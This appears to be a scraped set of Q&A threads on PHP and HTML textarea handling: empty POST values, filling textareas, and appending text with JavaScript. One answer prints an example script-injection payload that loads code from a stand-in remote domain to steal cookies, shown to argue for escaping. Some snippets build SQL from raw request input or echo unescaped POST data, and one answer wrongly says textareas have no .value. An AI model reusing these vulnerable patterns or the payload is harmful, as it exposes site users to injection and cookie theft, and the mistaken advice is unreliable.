Textarea returns empty value in PHP POST - php

I am facing problem in textarea content POST via PHP. I have a form that submits two values one in textarea and other radio button. while submitting the radio button value is posted but textarea value showed up empty.
why is this happening? Any suggestion would be appreciated..
My snippet of HTML Code
<form action="" method="post" id="register_form">
<h2><img class="small_image" src="images/rsz_heart.png">Describe
Yourself<img class="small_image" src="images/heart.png"></h2>
<table id="register_table">
<tr>
<td>Describe Yourself</td>
<td>
<textarea id="description" type="textarea" name="description" rows="5"
cols="40" class="textbox" form="register_form" required>type</textarea>
</td>
</tr>
<tr>
<td>Any disability</td>
<td>
<input type="radio" name="disability" value="none" selected="selected">None
<input type="radio" name="disability" value="physicaldisability">Physical
Disability
</td>
</tr>
<tr>
<td colspan=2>
<input type="submit" name="submit" value="Submit" class="button" >
</td>
</tr>
</table>
</form>
My PHP code is
if(isset($_REQUEST["submit"]))
{
$description = $_POST["description"];
$disability = $_POST["disability"];
$email = $_GET["email"];
$sql = "update Registration_members set Description_self='$description',
Disability='$disability' where Email='$email'";
$res = mysql_query($sql);
if($res)
{
?>
<script>
alert("You have registered successfully!!");
</script>
<?
echo $description." is description";
echo $disability." is disability";
}
}
?>
In output it writes
is description
none is disability

Some edits to your code may solve your problem:
1) Always use <?php as starting PHP tag. You have used only <? at one place in your code. Change that.
2) Change isset($_REQUEST["submit"]) to isset($_POST["submit"])
3) Remove type="textarea" from your <textarea>
4) Be careful while opening and closing PHP tags. In your case, you have closed PHP tag just after if(isset($_REQUEST["submit"])) { which is wrong.

You are closing php tag too early.

Replace
<textarea id="description" type="textarea" name="description" rows="5"
cols="40" class="textbox" form="register_form" required>type</textarea>
by
<textarea id="description" name="description" rows="5"
cols="40" class="textbox" form="register_form" required></textarea>
type="textarea" is wrong, also use $_POST instead of $_REQUEST["submit"]

You need an opening <?php tag or your code will not be interpreted as PHP.
In the original version of your question, on your third line, you had ?>. That closes the PHP block and means the next chunk of code is treated as plain HTML. So, it's never evaluated. Delete that line.
On that note, later in your code, you should use <?php, not <?, to start a new PHP code block.
Also, please don't use mysql_*; the mysql_* functions are outdated, deprecated, and insecure. Use MySQLi or PDO instead. On top of that, you are wide open to SQL injection.

Related

Display PHP query result in textarea

I'm having a little problem over here, I'm trying to make a news system with an edit button, it's all going great but I'm having problems with the "textarea", I can display the results on inputs but when I try to display them in a textarea it wont, look:
This code works perfectly:
<input name="txt_02" size="87" maxlength="100" id="txt_Resumen" maxlength="140" value="<?php echo $not_Resumen?>"/>
This wont:
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" value="<?php echo $not_Contenido ?>">
</textarea>
I tried with $not_Resumen and other ones in the textarea and it doesn't work, the textarea would show up empty without the text, it should be a little mistake I'm making but I can't find it. Thanks.
Just put it within ><, there's no value attribute:
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>
You should also use htmlspecialchars so that the textarea will not break if $not_Contenido contains </textarea>.
This is sometimes overlooked, but if $not_Contenido contained something like:
</textarea><script src="http://remotedomain.com/evilscript.js"></script>
An attacker can run anything they want, and all your clients will download and run the script on your website. A common attack would be sending cookies to their domain.
Try like
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion">
<?php echo $not_Contenido; ?>
</textarea>
We con't give value to the textbox.
Value is not attribute of textarea so simply place between the tag <textarea>?</textarea>
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" ><?php echo $not_Contenido ?>
</textarea>
Place your value between opening and closing tags of textarea as like other HTML tags and textarea has no attribute "value"
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>

Can't get buttons to append to textarea

I'm building a restaurant menu application in PHP & JavaScript
And I can't seem to get the buttons to append the text area when the ordering is being placed...(This is just test code at present) Here's my code:
$test = mysql_query("SELECT * FROM main_stock");
while($row = mysql_fetch_array($test)){
echo "<div id='".$row["RCode"]."'><a href='javascript:addTo(".$row["Name"].",".$row["RCode"].")'>".$row["Name"]."</a></div>";}
And my javascript function is as follows:
function addTo(name, Rcode) {
document.getElementById('order').value += name;
}
And HTML Form is as follows:
<form id="OrderForm" name="OrderForm" method="post" action="">
<p>
<label>
<textarea name="order" id="order" cols="35" rows="20" readonly="readonly">test</textarea>
</label>
</p><table>
<tr><td>Subtotal:</td><td><input type="text" id="subtotal" readonly="readonly" value="2.00" /></td></tr>
<tr><td>Tax:</td><td><input type="text" id="tax" readonly="readonly" value="2.00"/></td></tr>
<tr><td>Total:</td><td><input type="text" id="total" readonly="readonly" value="4.00"/></td></tr>
<tr><td></td><td><input type="submit" id="submit" value="Send Order To Kitchen"/></td></tr>
</table>
Looks like the echo may be resulting in invalid JavaScript syntax. E.g.:
addTo(Something, Inc.,STI)
Rather than:
addTo("Something, Inc.","STI")
You'll need to output additional quotes for JavaScript to use. And, since you're already using " for the PHP string and ' for HTML attributes, this will require escaping -- or encoding:
echo "... href='javascript:addTo("".$row["Name"]."","".$row["RCode"]."")'>...";
Another option may be to use json_encode since JSON is based from JavaScript syntax:
echo "... href='javascript:addTo(".json_encode($row["Name"]).",".json_encode($row["RCode"]).")'>...";
TEXTAREAs don't have a .value, they have .innerHTML
Try
document.getElementById('order').innerText += name;
There's nothing with ID 'order' in your example.
Instead of document.getElementById('order'), try document.getElementById(Rcode).

Issue using $_POST with a textarea

I have a simple contact form on a website that has 2 text fields, 1 textarea, and 1 hidden field.
For some reason, all the fields POST to a PHP script except the textarea. I have done this a thousand times before and never had this issue.
Here is my HTML:
<form action="scripts/contactform.php" method="post">
<table width="0" border="0" cellspacing="3" cellpadding="5" class="gpass">
<tr>
<td>Name:</td>
<td><input name="name" type="text" maxlength="50" /></td>
</tr>
<tr>
<td>E-mail:</td>
<td><input name="email" type="text"/></td>
</tr>
<tr>
<td>Message:</td>
<td><textarea name="comment" id="comment" cols="30" rows="5"></textarea>
<input type="hidden" value=" <?php echo $_SERVER['REMOTE_ADDR'];?>" name="address" />
</td>
</tr>
<tr>
<td colspan="2" align="center"><input name="submit" type="submit" value="Submit" class="noround" id="regbut" /><input name="reset" type="reset" value="Reset" class="noround" id="regbut"/></td>
</tr>
</table>
</form>
And my script looks like this:
$link = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD);
if(!$link)
{
die('Failed to connect to server: ' . mysql_error());
}
$db = mysql_select_db(DB_DATABASE);
if(!$db)
{
die("Unable to select database");
}
$name = mysql_real_escape_string($_POST['name']);
$email = mysql_real_escape_string($_POST['email']);
$comment = mysql_real_escape_string($_POST['comment']);
$ipaddress = mysql_real_escape_string($_POST['address']);
I have a few things to process the data underneath this, but that doesn't matter since the $comment variable isn't being defined. I've searched the entire script and there are no conflicting variable names.
I am completely stumped on why this is happening. I've successfully processed textarea's on my site multiple times before, so this really is confusing.
I once experienced an error similar to yours. What helped me was to use different id and name parameters. Try and see for yourself, because you have them identical here.
Though in your case you don't have the textarea set to disabled, the reason I found this post was because I wasn't getting a value from a textarea that was. So here's a note for anyone else with that issue.
To POST the value from a textarea where you want the field to be non-editiable, use readonly instead of disabled - either directly in html or via setAttribute in JavaScript - and then use CSS to highlight it, eg:
textarea[readonly] {background-color:#F0F0F0;})
You only need to add an ID value to the form and then add the form attribute to the textarea with the form ID value
<form id="sample".....>
<textarea name="aba" form="sample".....></textarea>
</form>

How to keep text inserted in a html <textarea> after a wrong submission?

Suppose I have a form like this:
<form action="page.php" method="post">
Section1: <input name="section1" type="text"></br>
Section2: <input name="section2" type="text"></br>
Text:</br>
<textarea name="post_text" cols="100" rows="20"></textarea>
<input name="submit" type="submit" value="Submit">
</form>
Usually if I wish to save content inserted in a field of the form I would use this statement:
Section1: <input name="section1" type="text" vale="value="<?php echo $_POST['section1']; ?>""></br>
This way if I make a mistake in submission (error control code is not posted) the values inserted will be kept, and there is no need to reinsert them.
However using it in the textarea tag it will not produce the desired result.
Any ideas on how to do?
Thanks in advance!
Don't forget about htmlspecialchars(). This should help: https://developer.mozilla.org/en/HTML/Element/textarea
<textarea name="post_text" cols="100" rows="20"><?php echo htmlspecialchars($_POST['post_text']);?></textarea>
You could use the same approach, but put the echo between the opening and closing <textarea></textarea> tags, as the textarea doesn't have a 'value' (as such) it has textual content:
<textarea name="post_text" cols="100" rows="20"><?php echo $_POST['textareaContent']; ?></textarea>
Use the $_POST variable like this.
<textarea name="post_text" cols="100" rows="20"><?= isset($_POST['post_text'])?$_POST['post_text']:'' ?></textarea>
the inline conditional checks if the $_POST['post_text'] is set to remove the NOTICE warning
You would put it inside the <textarea> element like so:
<textarea name="post_text" cols="100" rows="20"><?php echo $_POST['post_text']; ?></textarea>
However, calling the $_POST element directly is not best practice. You should rather do something like this:
<textarea name="post_text" cols="100" rows="20">
<?php echo $var = isset($_POST['post_text']) ? $_POST['post_text'] : ''; ?>
</textarea>
This stops an E_NOTICE error from being reported upon the first page-load.

Setting value of a HTML form textarea?

I'm using the following to set the value of a text area..
<?php
$message = $_REQUEST['message'];
?>
<br/><b>Description</b><br/>
<TEXTAREA NAME="message" COLS=40 ROWS=6 value="<?=$message;?>"></TEXTAREA><br/><br/>
<input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
but it doesn’t appear to be working. The value of message is not null. Does anyone have any idea why it's not filling the value?
Textarea has no value. You need to insert your message between the opening and closing tags.
<textarea><?php echo htmlspecialchars($message); ?></textarea>
<textarea name="message" cols="40" rows="6"><?=$message?></textarea>
Note: Make sure $message is properly sanitized and that short_open_tag is enabled. Otherwise, #fabric's accepted answer is a better answer.
Also you can use this method...
`<textarea rows="12" id="mytextarea"><?php echo $bio; ?> </textarea>
<script>
document.getElementById(`mytextarea`).innerHTML="Include the text you want to display";
</script>`

Categories